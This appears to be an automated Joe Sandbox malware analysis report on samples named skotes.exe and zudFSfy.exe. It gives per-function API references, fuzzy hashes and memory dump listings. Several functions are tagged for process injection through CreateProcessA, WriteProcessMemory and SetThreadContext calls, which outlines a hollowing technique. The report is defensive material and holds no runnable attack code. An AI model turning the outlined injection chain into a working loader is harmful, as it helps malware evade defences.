Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 6ebe973ee8d6dede6da6493dbc0af98204fa736591179d8ec4584e93d1e235da
Instruction ID: 058d583eb63f69fd2cdfb67cfebb682e1debb063bedffb6ac5496275b4a4fe85
Opcode Fuzzy Hash: 6ebe973ee8d6dede6da6493dbc0af98204fa736591179d8ec4584e93d1e235da
Instruction Fuzzy Hash: A821627160C209AFAB30AF659C82E6B77EDEF12364B104594F938D7152EBB1ED008761

Function 00BA1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BA1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA17AF

Strings

pContext, xrefs: 00BA17A7

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: e209f6788bc4462f7bcd1319521147347fef7bd2f4f082785d04203150ae5d9d
Instruction ID: 5af826b6f37a090f21e3d65d98e3b5aeb4fea3802898edf3cdc9800211ada9cb
Opcode Fuzzy Hash: e209f6788bc4462f7bcd1319521147347fef7bd2f4f082785d04203150ae5d9d
Instruction Fuzzy Hash: 1711E436A042149BCB55BF6CC48596D77E5EF86360F0448E9E812AB352DB30DD01CBD0

Function 00B9B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00B9B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9B961

Strings

pContext, xrefs: 00B9B959

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: e94995d2e7b22b96dd88e3dd0a9ae68f34501fce2b29ed2e93f836b52a2a3ba1
Instruction ID: 12917fc9a9c04ab3dd27433323d0d0b131f2135b35162e3cd2c1b8043b9e42f4
Opcode Fuzzy Hash: e94995d2e7b22b96dd88e3dd0a9ae68f34501fce2b29ed2e93f836b52a2a3ba1
Instruction Fuzzy Hash: AAE0D139B00104A7CB04B7A8D849D9DB7FDDEC57107044199F511B7351DF70D905C6E0

Function 00B934CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B934FC

Strings

pScheduler, xrefs: 00B934F4
version, xrefs: 00B934E1

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: f46dcac06ae59145d098d7eb3cb32960d9415814b86af5150b2dca83b9a78080
Instruction ID: 4e238391463f41a3e24caab0437054e694c4c89a9ab67a757d6e00918064666d
Opcode Fuzzy Hash: f46dcac06ae59145d098d7eb3cb32960d9415814b86af5150b2dca83b9a78080
Instruction Fuzzy Hash: C1E08634444208B7CF25FA54D847FCC7BE8DB11B45F54C1F5B810312A29BB59798CA91

Analysis Process: zudFSfy.exePID: 8048, Parent PID: 7832COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	293
Total number of Limit Nodes:	16

Executed Functions

Function 04D13D75 Relevance: 1.7, APIs: 1, Instructions: 248processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04D13FB6

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b2c194abcbf9a6d6b14c617961f1a452ff6e32bd21a54e7732f08bfb0120b406
Instruction ID: a466b7cb6d3903640906af9d1fe5c0d6e8b1099d2195fad69153c0336862d451
Opcode Fuzzy Hash: b2c194abcbf9a6d6b14c617961f1a452ff6e32bd21a54e7732f08bfb0120b406
Instruction Fuzzy Hash: F8A15D71D00219EFEB10CFA9D8817EDBBB2BF44314F1485A9EC19A7290D7749985CF91

Function 04D13D80 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04D13FB6

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d8d8fe838b33c0924c676ff3c2636b7c3d4aa12885775608cd9a06595ad7c3f9
Instruction ID: c285e6c88d2e7da7ddf14c90b77fb407fe09e39757983d5e6dbbc2140fb64b9c
Opcode Fuzzy Hash: d8d8fe838b33c0924c676ff3c2636b7c3d4aa12885775608cd9a06595ad7c3f9
Instruction Fuzzy Hash: 00915C71D00219EFEB10CFA9D8817ADBBB2BF48314F1485A9EC19A7250D774A985CF91

Function 01258D7C Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01258E39

Memory Dump Source

Source File: 00000007.00000002.2477425443.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1250000_zudFSfy.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b18512200955c0009cf0b9f5bb65dc9703423ebb53cce6fabb95bd171a08369c
Instruction ID: bc8930a5d6523fe6a2241244139f0d6cb813302399cca13a37106cf61bd8dbfb
Opcode Fuzzy Hash: b18512200955c0009cf0b9f5bb65dc9703423ebb53cce6fabb95bd171a08369c
Instruction Fuzzy Hash: 3B41F6B1C00619CBDB24DF9AC8847CDBBB5BF44714F20806AD509AB251DBB55946CF90

Function 01257898 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01258E39

Memory Dump Source

Source File: 00000007.00000002.2477425443.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1250000_zudFSfy.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2f6b7d1118c7ac3bdacd9270fd6cd0335faa7e749766ea72fcecb8cd81f71b57
Instruction ID: b6579ea27713b8bc1e11dc3c07247b8cac2f4c9b650deddc4e1650da20950a27
Opcode Fuzzy Hash: 2f6b7d1118c7ac3bdacd9270fd6cd0335faa7e749766ea72fcecb8cd81f71b57
Instruction Fuzzy Hash: 1641E5B0C00719CBDB24DFAAC88479DBBF5BF44704F248069E509AB255DBB55946CF90

Function 09F0C6D0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2489646637.0000000009F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9f00000_zudFSfy.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 45eab759ae67c82a8660d3ca7375a3f27d5da02415e40762b22f808500e922f9
Instruction ID: dd1ad3dc1533eb34d46ee76b6d5ebbf105fc3763b4eefefbda1f7597b7283aab
Opcode Fuzzy Hash: 45eab759ae67c82a8660d3ca7375a3f27d5da02415e40762b22f808500e922f9
Instruction Fuzzy Hash: DB316971900359DFCB11DFA9D844ADEBFF8EF49310F14805AE954A7261C3359960DFA1

Function 09F0B9D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09F0B9BD,?,?), ref: 09F0BA6F

Memory Dump Source

Source File: 00000007.00000002.2489646637.0000000009F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9f00000_zudFSfy.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: f0a41aaf0655e2acf0e174545c59a096b4277ca3d5f3b69ca0f035c4a0eea278
Instruction ID: 28348141c95c775f87a5a25b9b8b4d8a5eefeaea83107f5cb1055931ac7478a0
Opcode Fuzzy Hash: f0a41aaf0655e2acf0e174545c59a096b4277ca3d5f3b69ca0f035c4a0eea278
Instruction Fuzzy Hash: 3731E4B5D002499FDB10CF99D8846DEFFF8FB98320F14842AE919A7250D775A944CFA1

Function 09F0A4EC Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,09F0B9BD,?,?), ref: 09F0BA6F

Memory Dump Source

Source File: 00000007.00000002.2489646637.0000000009F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9f00000_zudFSfy.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: d81e57a75d0b463455f873172650ee9581378a45eb95f6913e4aefecc20860a7
Instruction ID: 2e0456fdde21cc48847f9c5fb1e004a9552301a3144fac94f438676ea484ccc3
Opcode Fuzzy Hash: d81e57a75d0b463455f873172650ee9581378a45eb95f6913e4aefecc20860a7
Instruction Fuzzy Hash: B131C7B5D002099FDB10CF99D88469EFBF9FB58320F14842AE915A7250D7759944CFA4

Function 04D13AF8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04D13B88

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 57d4d0cd847eb377a520ff9e30372f3e03e40977c9b7b4313ccb960c011e6fab
Instruction ID: 27d9753b766e1d61e443c20b2784db72f20e441710dcc6f1a374004ae3ba70e8
Opcode Fuzzy Hash: 57d4d0cd847eb377a520ff9e30372f3e03e40977c9b7b4313ccb960c011e6fab
Instruction Fuzzy Hash: 952157B1900309DFDB10CFA9D985BDEBBF5FF48320F108429E919A7250D778A944CBA4

Function 04D13AF3 Relevance: 1.6, APIs: 1, Instructions: 68injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04D13B88

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: dad765f1c9356328755c2c8e1114a4f8f01fd716f7d3d3fb81ed273146df2f3c
Instruction ID: 612b71bd77ddede9b21df86fe10c9bdac8fd3305ba7f0b2022fd03b5142c65f9
Opcode Fuzzy Hash: dad765f1c9356328755c2c8e1114a4f8f01fd716f7d3d3fb81ed273146df2f3c
Instruction Fuzzy Hash: 582146B1900349DFDB00CFA9D980BDEBBF1FF48320F10842AE959A7250D7789544CB94

Function 04D13BE1 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04D13C68

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 95d8ecf1a566181d24e79e9e5a8cf4b13f73c2ade4c04295776a39c13f5051d0
Instruction ID: f3153f648da3648c898e0397a5004094dbe1e09ed02d6140f9f5df37f6f86831
Opcode Fuzzy Hash: 95d8ecf1a566181d24e79e9e5a8cf4b13f73c2ade4c04295776a39c13f5051d0
Instruction Fuzzy Hash: 982148B18002599FDB10DFAAD881ADEFBF5FF48320F10842AE959A7250C7389955CBA5

Function 04D13959 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04D139DE

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b8fd6a87573a22b9ef2a6a0c755703e19756127440a3779d761946a5c986772f
Instruction ID: 95b3cdd703ca1d1af2af1e9ae1c63ec5f388c95ceb6443c6ad8c13448e67a02f
Opcode Fuzzy Hash: b8fd6a87573a22b9ef2a6a0c755703e19756127440a3779d761946a5c986772f
Instruction Fuzzy Hash: 5D216AB19002099FDB14DFAAC4857EEFFF4EF89314F108429D959A7250C7789545CF94

Function 04D13960 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04D139DE

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8ba4ee70734a1cb1bfcae633cfb5ac9404f9c45dd88eb89a4a2fef4ee39dfd58
Instruction ID: 67ff3efaf858a29cf9e1938d041cdfd50b79efa065c9ea2b5179ae6d03291b85
Opcode Fuzzy Hash: 8ba4ee70734a1cb1bfcae633cfb5ac9404f9c45dd88eb89a4a2fef4ee39dfd58
